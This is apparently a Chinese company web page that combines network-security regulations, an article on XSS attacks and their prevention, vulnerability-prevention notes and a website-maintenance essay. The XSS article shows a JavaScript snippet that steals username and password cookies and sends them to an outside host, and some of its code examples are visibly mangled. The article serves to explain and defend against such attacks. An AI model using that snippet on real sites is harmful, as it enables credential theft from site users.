計算機信息網絡單位應當在根河市網絡安全主管部門監督指導下， 建立和完善計算機網絡安全組織，成立計算機網絡安全領導小組。 1、確定本單位計算機安全管理責任人和安全領導小組負責人（由主管領導擔任），應當履行下列職責： （一）組織宣傳計算機信息網絡安全管理方面的法律、法規和有關 政策； （二）擬定并組織實施本單位計算機信息網絡安全管理的各項規章 制度；（三）定期組織檢查計算機信息網絡系統安全運行情況，及時排除 各種安全隱患； （四）負責組織本單位信息安全審查；（五）負責組織本單位計算機從業人員的安全教育和培訓； （六）發生安全事故或計算機違法犯罪案件時，立即向公安機關網 監部門報告并采取妥善措施，保護現場，避免危害的擴散，暢通與公安 機關網監部門聯系渠道。 2、配備１至２名計算機安全員（由技術負責人和技術操作人員 組成），應當履行下列職責： （一）執行本單位計算機信息網絡安全管理的各項規章制度； （二）按照計算機信息網絡安全技術規范要求對計算機信息系統安 全運行情況進行檢查測試，及時排除各種安全隱患；（三）根據法律法規要求，對經本網絡或網站發布的信息實行 24 小時審核巡查， 發現傳輸有害信息， 應當立即停止傳輸， 防止信息擴散， 保存有關記錄，并向公安機關網監部門報告； （四）發生安全事故或計算機違法犯罪案件時，應當立即向本單位 安全管理責任人報告或直接向公安機關網監部門報告，并采取妥善措 施，保護現場，避免危害的擴大； （五）在發生網絡重大突發性事件時，計算機安全員應隨時響應， 接受公安機關網監部門調遣，承擔處置任務； （六）我市計算機安全技術人員必須經過市公安機關網監部門認可 的安全技術培訓，考核合格后持證上崗。合格證有效期兩年。 3、單位安全組織應保持與公安機關聯系渠道暢通，保證各項信 息網絡安全政策、法規在本單位的落實，積極接受公安機關網監部門業 務監督檢查。 4、單位安全組織的安全負責人及安全技術人員應切實履行各項 安全職責，對不依法履行職責，造成安全事故和重大損害的，由公安機 關予以警告，并建議其所在單位給予紀律或經濟處理；情節嚴重的，依 法追究刑事責任。 網絡信息監視、保存、清除和備份制度 一、嚴格執行國家及地方制定的信息安全條例。 二、上網用戶必須嚴格遵循網絡安全保密制度。 三、 提供的上網信息,必須經過辦公主的審核后方可上網,并及時予以登 記。 四、用戶必須配合有關部門依法進行信息安全檢查。 五、 建立健全網絡安全管理制度,采取安全技術措施,落實安全管理責任, 加強對 BBS 等交互式欄目信息發布的審核,網絡運行日志的管理,并將系 統運行日志完整僅用 3 個月以上,以備公安機關的監督檢查。 六、"安全專管員"要加強網絡信息、監測,定期檢查安全情況、計算機 是否感染病毒并及時清除,同時應配合網絡管理員對各開通服務器的系 統日志進行不定期檢查,及時發現隱患及時匯報與處理。 七、對網絡上有害信息及時控制并刪除。嚴防非法用戶侵入我方網絡從 事非法活動,一經發現及 時進行相應的技術處理,如及時清除有需信息 的傳播途徑、 關閉相應的服務器等,并且保護好相關日志等數據,及時向 有關部門報告。 八、出現有關網絡安全隱患及時上報辦公室,及時處理并作日志。 九、加強對用戶數據的管理,發現異常用戶,及時處理并上報辦 公室備 案。 十、定期組織網絡管理人員進行安全管理學習和培訓。 違法案件報告和協助查處制度 1、各接入單位應當自覺遵守網絡法規，嚴禁利用計算機從事違法犯罪 行為。 2、對于本單位發生的計算機違法犯罪行為，各級網絡管理員應當及時 制止并立即上報信息中心，同時做好系統保護工作。 3、對于所遭受到的攻擊，各接人單位同樣應當上報信息中心，同時做 好系統保護工作。 4、各接入單位有義務接受校網絡管理中心和上級主管部門的監督、檢 查，并應積極配合做好違法犯罪事件的查處工作。 5、信息中心應及時掌握公司網內各接入單位網絡違法情況，并定期向 主管領導和上級主管部門報告，并應協助各主管部門做好查處工作。 信息發布、審核、登記制度 公司計算機信息發布實行各信息發布單位提出申請， 辦公室審核批 準，信息中心具體實施的辦法，各部門在信息發布方面必須恪守如下規 定： 1、發布申請單位應當確保發布信息準確、真實，符合國家有關的 各項法律、法規制度； 2、信息發布單位應當對所發布的信息備案記錄，以加強管理； 3、信息審核單位應在充分理解國家有關的各項法律、法規制度的 基礎上及時處理申請單位的請求，并將審核意見及時反饋給申請單位； 4、在審核單位同意的基礎上應將信息及時轉發給信息中心； 5、信息審核單位應當做好信息請求。處理、轉發的備案工作； 6、信息中心對所收到的經過審核后的信息在確認審核意見后，應 及時在網上發布，并確保發布信息的準確性； 7、信息中心對所發布的信息應當做好備案工作。 病毒檢測和網絡安全漏洞檢測制度 為保證我公司網的正常運行，防止各類病毒、黑客軟件對公司內網 主機構成的威脅，大限度地減少此類損失，特制定本制度： 1、各接入部門計算機內應安裝防病毒軟件、防黑客軟件及垃圾郵件消 除軟件，并對軟件定期升級。 2、各接入單位計算機內嚴禁安裝病毒軟件、黑客軟件，嚴禁攻擊其它 聯網主機，嚴禁散布黑客軟件和病毒。 3、信息中心應定期檢測公司網內病毒和安全漏洞，并采取必要措施加 以防治。 4、公司網內主要服務器應當安裝防火墻系統，加強網絡安全管理。 5、信息中心定期對網絡安全和病毒檢測進行檢查，發現問題及時處理。 帳號使用登記和操作權限管理制度 1、采取嚴密的安全措施防止無關用戶進入系統； 2、數據庫管理系統的口令必須由電腦中心專人掌管，并要求定期更換。 禁止同一人掌管操作系統口令和數據庫管理系統口令； 3、操作人員應有互不相同的用戶名，定期更換操作口令。 4、嚴禁操作人員泄露自己的操作口令；5、各崗位操作權限要嚴格按崗位職責設置。應定期檢查操作員的權限； 6、重要崗位的登錄過程應增加必要的限制措施； 安全管理人員崗位工作職責 1、在公安機關的指導下做好本單位計算機信息系統安全防范工作； 2、及時向公安機關提供安全保護所需的資料； 3、負責本單位計算機信息系統安全知識的宣傳教育工作； 4、定期對本單位的計算機信息系統進行檢查。 安全教育和培訓制度 1、網絡管理中心應定期召開網絡安全會議，通報網絡安全狀況，解決 網絡安全問題： 2、網絡管理中心應定期開發網絡安全培訓班，學習網絡法律、法規， 提高各接入單位的網絡安全意識，提高網絡安全水平。 3、各接入部門應積極配合網絡管理中心的工作，自覺參加各種培訓活 動。 4、網絡管理中心應當定期對學生進行網絡安全教育，強化網絡安全意 識。增強守法觀念。 其他與安全保護相關的管理制度 1、嚴格機房管理。建立完整的計算機運行日志、操作記錄及其它與安 全有關的資料；機房必須有當班值班人員；嚴禁易燃易爆和強磁物品及 其它與機房工作無關的物品進入機房。 2、加強技術資料管理。明確責任人，重要技術資料應有副本并異地存 放。 3、建立軟件開發及管理制度。開發維護人員與操作人員必須實行崗位 分離，開發環境和現場必須與生產環境和現場隔離。 

摘要：隨著計算機網絡技術的迅速發展，網絡安全問題已變得越來越受到人們的重視，網絡攻擊形式多種多樣，很多蠕蟲病毒、木馬病毒等植入到某些網頁中，給網絡用戶帶來了很大的安全隱患。其中XSS跨網站腳本攻擊，惡意攻擊者往Web頁面里插入惡意html代碼，當用戶瀏覽該頁之時，嵌入其中Web里面的html代碼會被執行，從而達到惡意攻擊用戶的特殊目的。本文主要闡述了XSS的機理和特點，重點分析了網頁代碼的檢測以及木馬的特征，并針對這些特點進行了一些相應防范對策的探討。關鍵詞：網頁木馬； XSS； 攻擊； 防范一、前言網頁木馬是一種新型的惡意代碼，一些攻擊者將它人為的植入到服務器端的HTML頁面中，通過客戶端對服務器的訪問來傳播惡意攻擊代碼，它主要是通過瀏覽器以及其中的一些插件漏洞來進行植入，網頁木馬是一種客戶端的攻擊方式，它能有效的繞過防火墻的檢測，隱秘的在客戶端將惡意代碼植入，客戶端在不知情的情況下將這些惡意可執行程序進行下載和執行。給互聯網用戶造成嚴重的安全威脅。在Web 2.0出現以后，XSS的危害性達到了十分嚴重的地步。跨站腳本英文名稱是（Cross Site Script），為了與層疊樣式表（Cascading Style Sheets簡稱CSS）區分，故命名為XSS。 XSS攻擊是指入侵者在遠程WEB頁面的HTML代碼中插入具有惡意目的的數據，用戶認為該頁面是可信賴的，但是當瀏覽器下載該頁面時，嵌入其中的腳本將被解釋執行。XSS具有自身的獨有特點，目前國內外很多研究人員圍繞XSS的防御進行了深入的探討與研究，同時攻擊者也在采用一些更先進的手段來提高木馬的攻擊隱蔽性，用以提高木馬的攻擊成功率，因此，XSS的機理與防范對策研究已成為了當前計算機工作者的一個重要課題。二、XSS的機理與特征1.XSS的成因跨網站腳本XSS漏洞的成因其實就是Html的注入問題，攻擊者的輸入沒有經過嚴格的控制進入了數據庫，最終顯示給來訪的用戶，導致可以在來訪用戶的瀏覽器里以瀏覽用戶的身份執行Html代碼，數據流程如下：攻擊者的Html輸入—>web程序—>進入數據庫—>web程序—>用戶瀏覽器。目前，所有的網站上幾乎都提供一個站內或站外信息搜索框。在此搜索框中，您可以搜索到網站上任何可用的東西。這個搜索表單看起來這樣：圖1-1圖1-2內部代碼：窗體頂端窗體底端“搜索”                             在asp網頁上顯示的搜索結果，同時它也列出了在“關鍵字”的搜索結果。web頁面上,不管用戶搜索什么內容，它將顯示搜索結果在網頁上。現在如果一個攻擊者嘗試注入惡意腳本，比如在搜索框中輸入如下Html代碼：“”則代碼會變成<input type="text" name="q" value=""   />，嵌入的JavaScript代碼將會被瀏覽器執行，將顯示一個警告框，提示“XSS跨站腳本攻擊”。而不能完成用戶搜索功能。（上述兩個網站已經做XSS過濾，不能看見警告框）下面是一個關于用戶注冊頁面的例子,當然這個示例很簡單，幾乎攻擊不到任何網站，僅僅看看其原理。我們知道很多網站都提供用戶注冊功能，網站后臺數據庫存儲用戶名、密碼，方便用戶下次登錄，有些網站是直接用明文記錄用戶名、密碼，惡意用戶注冊賬戶登錄后使用簡單工具查看cookie結構名稱后，如果網站有XSS漏洞，那么簡單的就可以獲取其它用戶的用戶名、密碼了。圖2-1如圖2-1所示的用戶注冊頁面。允許用戶填入注冊信息，然后存儲到后臺數據庫中。因為我們完全信任了用戶輸入，用戶注冊信息都能正確的進入數據庫。但有些惡意的用戶會利用這個漏洞輸入HTML和JS代碼，例如這段代碼直接輸入到“用戶名”欄中，竊取用戶信息。在http://www.123.com/h.js中：var username=CookieHelper.getCookie('username').value；var password=CookieHelper.getCookie('password').value；var script =document.createElement('script')；script.src='http://www.123.com/index.asp?username='+username+'&password='+password；document.body.appendChild(script)；這樣就輕松的獲取了cookie中的用戶名和密碼。2.跨網站腳本攻擊的類型2.1非持久性跨網站腳本攻擊，非持久性 XSS 也稱為是反射跨網站漏洞。它是最常見的 XSS 類型。在這，注入數據反射給攻擊者。上面的例1，是非持續的攻擊。典型的非持久性 XSS 包含與 XSS 的鏈接。    2.2持久性跨網站腳本攻擊（存儲性），持久性跨網站腳本是存儲跨站點腳本。當它發生時 XSS 變量存儲在網站的數據庫，每當用戶打開網頁時執行。每次用戶打開瀏覽器，腳本執行。持久性 XSS 比非持久性 XSS更有害，因為每當用戶打開要查看的內容的網頁時，將自動執行該腳本。上面例2就是持久性跨網站腳本攻擊。   2.3基于DOM的跨站腳本攻擊，基于 DOM 的 XSS 有時也稱為“type-0 XSS”。它發生時， XSS 變量執行由 DOM 修改用戶的瀏覽器網頁的結果。在客戶端的 HTTP 響應不會更改，但以惡意的方式執行的腳本。三、XSS防范對策XSS攻擊的模式很簡單，就是把自己的代碼嵌入到頁面里，隨頁面一塊執行；XSS攻擊的防范也一樣簡單，對于網站的開發者，首先應該把精力放到對所有用戶提交內容進行可靠的輸入驗證上。這些提交內容包括HTML、URL、查詢關鍵字、http頭、post、get數據等。只接受在你所規定長度范圍內、采用適當格式、你所希望的字符。阻塞、過濾或者忽略其它的任何東西。針對出現在不同位置的用戶輸入內容，其處理策略有所不同。1、html只需要處理掉< > 即可，只要沒有html標簽，頁面就是安全的。可以使用asp內置方法Replace (str,“<”,“<”) replace="">”,“>”) 來處理待輸出的內容，將<,>, 轉義。2、JS將要輸出到js代碼片斷中的用戶輸入內容沒有好的辦法進行處理；僅轉義少數字符不能保證去掉所有的攻擊可能。因此，一般建議不要把用戶產生的內容直接輸出到js片斷中。如果條件所限，必須將內容直接輸出，有如下方法可供選擇：1) 如果待輸出的內容有特定的取值返回或者特定的格式，可以使用白名單或者正則表達式進行處理。2) 可以將內容輸出到html的隱藏標簽或隱藏表單中，js通過獲取標簽的內容得到該內容。3、檢查那么，對已有的頁面，該如何檢查呢？這個問題的回答是，目前沒有很好的辦法能完全檢查出服務器中可能存在XSS攻擊的頁面；有一些辦法可以檢查出比較明顯的疏漏，其基本思路如下：1）從apache的access_log中取出所有unique的請求，依次修改其某一個參數為 “”，發起請求。2）獲取返回的內容，如果內容中有原樣的該字符串，表明此可疑輸入沒有經過處理便輸出到頁面上，頁面存在隱患，需要處理。通過這種辦法，可以檢查出絕大多數能通過get請求發起的XSS攻擊。那些在access_log沒有出現的請求參數，這里沒有檢查到，可能有所遺漏，就需要手動去整理，測試。通過Post發起的請求需要用另外一種策略進行檢查。其思路如下：將網站上所有可以輸入的表單，依次輸入特征字符串，比如說< ' ” >，如果提交后產生的頁面中含有未處理的此字符串，說明存在隱患。通過以上分析我們看到，XSS是一種危害較大、較難防范，并且更加隱蔽的攻擊方式。其實只要明白其原理，再加上勤加思考防范的對策，就可以根治XSS漏洞。沈陽凱鴻科技有限公司2023/1/1

一、緩沖區溢出漏洞當軟件程序試圖讀取或寫入超出范圍的緩沖區時，就會發生緩沖區溢出。它可能導致覆蓋或在現有代碼中附加數據。緩沖區溢出可使攻擊者執行代碼、更改程序流、讀取敏感數據或使系統崩潰等。包括：接受長度不受限制的輸入允許從無效索引對數組進行讀取操作緩沖區溢出漏洞通常發生在體系結構和設計、實施或操作階段。這一漏洞最常見于 C，C ++ 和 Assembly 程序，可以以任何缺少內存管理支持的語言出現。如何防范？盡可能選擇一種防止或降低此漏洞風險的語言，例如：Java 或 Perl。不要禁用溢出保護，例如在 C＃ 中。與環境中的易受攻擊的本機代碼交互時，即使是“免疫”語言也可能會產生錯誤。為了防止利用緩沖區溢出漏洞，可以使用包含功能或擴展名以限制輸入的編譯器。例如， Visual Studio 或 StackGuard。還可以使用工具在內存中隨機排列程序組件。使地址更難以識別或預測，從而使攻擊者難以利用特定組件。最后，在創建代碼時，確保正確分配了緩沖區空間。另外，使用允許限制輸入大小的方法和功能。二、對輸入的驗證當用戶輸入在接受時未得到驗證或驗證不足時，就會發生輸入驗證不當。不正確的驗證可以使攻擊者執行惡意代碼、更改程序流、訪問敏感數據或濫用資源分配。包括：假設攻擊者無法訪問隱藏的表單字段僅驗證輸入的長度而不是內容通常發生在架構、設計和實施階段。它可以在任何接受外部數據的語言或系統中發生。預防措施應該對任何用戶采取“零信任”原則，并假設所有輸入都是有害的，直到證明安全為止。使用白名單以確保輸入內容僅包含可接受的格式和內容。在驗證輸入時，長度、類型、語法和對邏輯的符合性（即輸入具有語義意義）。可以使用多種工具來確保進行充分的驗證，例如 OWASP ESAPI 驗證 API 和 RegEx。使用這些工具來驗證所有輸入源，包括環境變量，查詢，文件，數據庫和 API 調用。確保在客戶端和服務器端都執行檢查。可以繞過客戶端驗證，因此需要仔細檢查。如果繞過客戶端驗證，則在服務器端捕獲輸入可以幫助你識別攻擊者的操縱。在進行任何必要的組合或轉換后，請驗證輸入。三、信息泄露當有意或無意將數據提供給潛在攻擊者時，就會發生信息泄露。數據可以包含敏感信息，也可以向攻擊者提供有關可以在攻擊中利用的軟件或環境的信息。信息公開的示例包括：顯示文件或程序完整路徑的錯誤錯誤消息暴露了數據庫中用戶的存在信息泄漏漏洞通常發生在開發的體系結構和設計或實施階段。任何語言都可能發生這些漏洞。預防措施為防止信息泄露，應該設計程序體系結構以將敏感信息包含在具有明確信任邊界的區域中。確保使用訪問控制來保護和限制“安全”區域與端點之間的連接。為了最大程度地利用漏洞，請驗證錯誤消息和用戶警告中是否包含不必要的信息。還應該限制來自 URL 和通信標頭的敏感信息。例如，模糊完整的路徑名或 API 密鑰。四、權限認證不當如果未正確分配、跟蹤、修改或驗證用戶權限和憑據，則會發生不正確的權限或身份驗證。這些漏洞可使攻擊者濫用權限，執行受限任務或訪問受限數據。包括：不可逆轉的臨時權限升級。通過黑名單而不是白名單來限制權限。允許較低的權限級別影響較高的權限帳戶，例如：重置管理員密碼。無限制的登錄嘗試或會話限制。權限或身份驗證漏洞通常在開發的體系結構和設計，實施或操作階段引入。任何語言都可能發生這些漏洞。預防措施應該將最小權限原則應用于軟件和系統交互的所有用戶和服務。通過在整個程序和環境中應用訪問控制來限制用戶和實體的功能。將權限限制為僅用戶或服務所需的那些資源。此外，將高級權限分成多個角色。分離有助于限制“高級用戶”，并降低攻擊者濫用訪問權限的能力。還可以應用多因素身份驗證方法來防止攻擊者繞過系統或獲得輕松的訪問權限。五、減少一般漏洞的措施除了采取針對特定漏洞的措施外，還應該采取一些措施來總體上減少漏洞。例如：注威脅情報時刻關注威脅情報，了解新漏洞、新補丁、新舉措，防范于未然。進行漏洞評估軟件進行定期的滲透測試，提高軟件安全性，在攻擊者之前發現潛在漏洞的存在，并做好相應的應對措施。沈陽凱鴻科技有限公司2023/1/1

一、網站運行安全保障措施1、網站服務器和其他計算機之間設置防火墻，做好安全策略，拒絕外來的惡意程序攻擊，保障網站正常運行。2、在網站的服務器及工作站上均安裝了相應的防病毒軟件，對計算機病毒、有害電子郵件有整套的防范措施，防止有害信息對網站系統的干擾和破壞。3、做好訪問日志的留存。網站具有保存三個月以上的系統運行日志和用戶使用日志記錄功能，內容包括IP地址及使用情況，主頁維護者、對應的IP地址情況等。4、交互式欄目具備有IP地址、身份登記和識別確認功能，對非法貼子或留言能做到及時刪除并進行重要信息向相關部門匯報5、網站信息服務系統建立多機備份機制，一旦主系統遇到故障或受到攻擊導致不能正常運行，可以在最短的時間內替換主系統提供服務。6、關閉網站系統中暫不使用的服務功能，及相關端口，并及時用補丁修復系統漏洞，定期查殺病毒。7、服務器平時處于鎖定狀態，并保管好登錄密碼；后臺管理界面設置超級用戶名及密碼，并綁定IP，以防他人登入。8、網站提供集中式權限管理，針對不同的應用系統、終端、操作人員，由網站系統管理員設置共享數據庫信息的訪問權限，并設置相應的密碼及口令。不同的操作人員設定不同的用戶名，且定期更換，嚴禁操作人員泄漏自己的口令。對操作人員的權限嚴格按照崗位職責設定，并由網站系統管理員定期檢查操作人員權限。9、公司機房按照電信機房標準建設，內有必備的獨立UPS不間斷電源，能定期進行電力、防火、防潮、防磁和防鼠檢查。二、信息安全保密管理制度1、建立健全的信息安全保密管理制度，實現信息安全保密責任制，切實負起確保網絡與信息安全保密的責任。嚴格按照個人負責原則，落實責任制，明確責任人和職責，細化工作措施和流程，建立完善管理制度和實施辦法，確保使用網絡和提供信息服務的安全。2、網站信息內容更新全部由網站工作人員完成或管理，工作人員素質高、專業水平好，有強烈的責任心和責任感。網站相關信息發布之前有一定的審核程序。工作人員采集信息將嚴格遵守國家的有關法律、法規和相關規定。嚴禁通過網站散布《互聯網信息管理辦法》等相關法律法規明令禁止的信息（即“九不準”），一經發現，立即刪除。3、遵守對網站服務信息監視，保存、清除和備份的制度。開展對網絡有害信息的清理整治工作，對違法犯罪案件，報告并協助公安機關查處。4、所有信息都及時做備份。按照國家有關規定，網站將保存3月內系統運行日志和用戶使用日志記錄。5、制定并遵守安全教育和培訓制度。加大宣傳教育力度，增強用戶網絡安全意識，自覺遵守互聯網管理有關法律、法規，不泄密、不制作和傳播有害信息，不鏈接有害信息或網頁。三、用戶信息安全管理制度1、尊重并保護用戶的個人隱私，除了在與用戶簽署的隱私政策和網站服務條款以及其他公布的準則規定的情況下，未經用戶授權不會隨意公布與用戶個人身份有關的資料，除非有法律或程序要求。2、嚴格遵守網站用戶帳號使用登記和操作權限管理制度，對用戶信息專人管理，嚴格保密，未經允許不得向他人泄露。定期對相關人員進行網絡信息安全培訓并進行考核，使相關人員能夠充分認識到網絡安全的重要性，嚴格遵守相應規章制度。國安廣告將嚴格執行本規章制度，并形成規范化管理，建立健全信息網絡安全小組。安全小組由單位領導負責，網絡技術、客戶服務等部門參加，并確定至少兩名安全負責人作為突發事件處理的聯系人。沈陽凱鴻科技有限公司2023/1/1

網站在建成后，長期、艱巨的維護管理工作才剛剛開始，對一個完善的網站來說 日常維護與管理是很重要的，這樣網站才能長期穩定、高效地運行在 Internet 上， 做好網站的 內容、鏈接、布局、數據、系統、服務器等軟、硬件的日常維護與管理成為網站安全有效運行 的基礎。 關鍵詞：網站；維護；管理；內容；數據 網站好比是一份報紙或一臺節目，對其持續維護管理已成為一種日常性事務，然而很多網 站存在重建設、輕管理維護的通病。網站建成之后，會不可避免地遇到各種問題，只有不斷改 進設計、創新更多的服務，及時地更新和豐富網站的內容，展現網站的活力與發展，才能引起 訪客的興趣并產生信任感。本文從內容更新、頁面布局更新和鏈接更新、數據管理和備份、操 作系統維護、服務器維護、設備維護和網站測試等方面展開論述。 1 內容更新 內容更新是網站管理的核心內容。人們上網最關心的是有無需要的且可靠、新穎、實用的 信息，網站為保持時效性，要求網頁內容新穎、有價值，創意好且有原創性，而且長期堅持更 新才會有吸引力。 比如新聞欄目更新，它是客戶了解網站的宣傳窗口，它將企業的重大活動、產品的最新動 態、企業的發展趨勢等及時、真實地呈現給客戶，讓訪問者覺得企業是一個發展良好并感興趣 的企業。還有商品信息更新，它是電子商務網站的主體，商務網站的魅力很大程度在于能源源 不斷地提供最新最及時的商品信息。另外如企業在線支持管理、在線購物管理、客戶信息管 理，以及廣告、論壇、留言板、郵箱等的更新維護等等。 穩定的內容更新還可以增加百度的收錄率，提高排名，更好地宣傳網站，樹立網站良好的 形象和知名度。 2 頁面布局更新和鏈接更新 頁面布局更新是很重要的，人們很重視第一印象，對頁面布局更新宜重新制作，不過網站 的 CI 應不變為宜。 保證網站的鏈接通暢，經常對網站的鏈接進行測試確保無誤。可以通過測試軟件對網站所 有的鏈接進行測試，但最好還是用手工的方法進行檢測，在網站正常運行期間也要經常使用瀏 覽器測試，查缺補漏。 3 數據管理和備份 數據是企業信息系統的核心內容，是企業通過長時間積累，通過特定的渠道收集的，具有 不可重現的特點，代表著原始的行為特征。網站后臺數據庫管理和維護主要包含如下： 查找數據丟失或被破壞的原因，如計算機硬件故障、軟件故障、病毒、人為誤操作、盜竊 等。 備份數據，主要是備份內容和形式、由誰備份、存放的位置、備份頻率、備份方法等。 恢復數據，恢復是與備份對應的操作，為了在系統出現異常情況時將數據恢復到某個正常 狀態。如果用戶數據庫出錯，通過裝入最新的數據庫備份以及后來的事務日志備份可以恢復數 據庫。 監視系統運行狀況，及時處理系統錯誤。主要是監視當前用戶以及進程的信息、監視數據 統計、監視目標占用空間情況，日常監視的主要有：用戶數據庫、數據庫日志表以及計費原始 數據表等。 保證系統數據安全，必須依據系統的實際情況，執行一系列的安全保障措施。 4 操作系統維護 操作系統是一個非常開放而且脆弱的系統，稍微不慎就可能會導致系統受損，甚至癱瘓， 同時也要維護應用服務器軟件和應用軟件，經常安裝與卸載應用軟件的也會造成系統的運行速 度降低、沖突增加等問題。 操作系統維護主要有：定期進行磁盤碎片整理和文件掃描；維護系統注冊表；經常性地備 份系統注冊表；清理無用的 DLL 文件；使用在線病毒檢測工具防止病毒入侵；優化操作系統 本身；通過對 Web 服務器的日志文件進行分析和統計，掌握系統運行情況以及網站內容的受 訪問的情況，加強對整個網站及其內容的維護和管理。 5 服務器維護 服務器有 web 服務器、郵件服務器、文件郵件服務器等，服務器運行正常與否，決定了整 個網站功能的實現。服務器維護包括系統安裝、打補丁、升級；系統配置；系統檢查；系統優 化；清潔、保養；覆蓋或升級安裝；故障判斷；故障處理；硬件維修或更換；系統參數調整； 垃圾文件及注冊表清理；內存管理優化；磁盤管理優化；啟動選項優化；操作系統配置；網絡 配置；其他故障解決等，另外對服務器詳細地記下特別是故障記錄，常查看內存占用情況、硬 盤剩余空間情況、CPU 占用率，原有的配置不能滿足要求時要進行測試、升級等操作。6 設備維護和網站測試保證網絡交換機、路由器和防火墻等主干設備的正常運轉，系統管理員必須做好網絡設備 的配置記錄，對每次的配置改動作紀錄，并備份設備的配置文檔，記錄配置時間，系統管理員 要定期對硬盤進行整理，清除緩存或垃圾文件，定期保存系統日志，做好系統的硬件維護以及 供電系統維護，對設備定期檢查、監測，定期清潔、除塵，保證設備正常運行。 網站測試主要有瀏覽器兼容測試、代碼測試、交互表單及數據查詢測試、客戶響應測試、 功能測試、性能測試、運行監控、穩定性測試、安全測試等。 7 結語 建立一個完善的網站不僅僅是只要網站的功能完善、操作界面美觀就行了，一個完善的網 站是需要不斷進行維護與管理。只有長期不斷的對網站進行日常維護與管理，才能建立健全網 站，才能高效運行，才有生命力。